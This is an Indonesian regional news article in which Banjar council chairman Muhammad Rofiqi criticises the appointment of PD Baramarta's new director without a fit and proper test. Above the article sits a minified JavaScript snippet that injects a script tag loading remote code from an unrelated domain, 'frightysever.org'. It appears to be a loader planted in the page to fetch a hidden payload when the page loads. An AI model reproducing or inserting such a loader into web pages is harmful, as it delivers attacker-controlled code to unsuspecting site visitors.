(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Diduga proses pemilihan Direktur Utama (Dirut) PD Baramarta tanpa ada fit and proper test, keterlibatan wakil rakyat di DPRD Banjar terkesan diabaikan.
Ketua DPRD Banjar Muhammad Rofiqi mengkritisi penunjukan Direktur Utama Perusahaan Daerah (PD) Baramarta terpilih yang baru dilantik pada Rabu (10/2/2021) kemarin.
Menurut Rofiqi asas kepatutan dan kewajaran menjadi dasar penunjukan Dirut perusahaan daerahdiabaikan pemerintah daerah.
“Normalnya jika berbicara peraturan ketika kita mau mengangkat direktur suatu perusahaan daerah itu tentu harus ada fit and proper test, namun ini tidak pernah dijalankan, seolah ini dijadikan perusahaan pribadi, maka jangan sampai perusahaan ini dianggap perusahaan nenek moyang, repot kita nanti,” kata Rofiqi.
Menurut Rofiqi peruntukan perusahaan daerah ini tugasnya mencari keuntungan untuk daerah, bukan mencari keuntungan beberapa golongan. Dirinya melihat sepanjang PD Baramarta berdiri sangat minim setoran pendapatan kepada daerah. “Pendapatan tahun kemarin jauh dari target yang sudah ditentukan,” kata politisi Gerindra ini.
“Tahun ini ditengah harga batu bara yang mulai naik kita harap setoran lebih baik. Dan perlu diketahui bahwa utang Baramarta terhadap sengketa pajak Rp 170 miliar lebih belum selesai. Artinya kalau ditotal jika dikalkulasikan setorannya setiap tahun dengan jumlah utang yang ada bisa jadi lebih banyak utangnya. Nah ini menjadi tanda kutip,” bebernya.
Pun ketika ingin menempatkan seseorang manajer atau pemimpin perusahaan, jika tidak ada fit and proper test bagaimana mengetahui kualitas orang yang tepat.
Ditanya terkait Bupati Banjar yang diduga menetapkan orang tidak tepat, Rofiq mengatakan hal itu perlu dan patut untuk didalami. Mengingat orang nomor satu di Kabupaten Banjar ini tidak mungkin mengambil keputusan tanpa ada masukan dari staf di bawahnya. Sehingga dalam waktu dekat pihaknya akan memanggil Dirut baramarta yang baru dan asisten ekonomi, selanjutnya mendalami hal tersebut guna menghindari polemik yang lebih besar.
“Masa jabatan bupati kan tinggal beberapa hari lagi, tentu kita akan memanggil Dirut Baramarta dan lain lainnya pada Senin nanti, agar menghindari polemik yang lebih besar,” janjinya.
Sementara itu, terkait pelantikan Dirut PD Baramarta kendati tidak ada norma hukum yang dilanggar, namun Rofiqi menggaris bawahi hukum bukan sekedar norma, namun asas kepatutan dan kewajaran itu harus dilakukan.
“Harusnya kami (Dewan, Red) dilibatkan dalam seleksi fit and proper test itu, jika potensinya bagus tentu kami juga tidak akan mempersusah,” tutupnya. (kanalkalimantan.com/rdy)
KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More
KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More
KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More
KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More
This website uses cookies.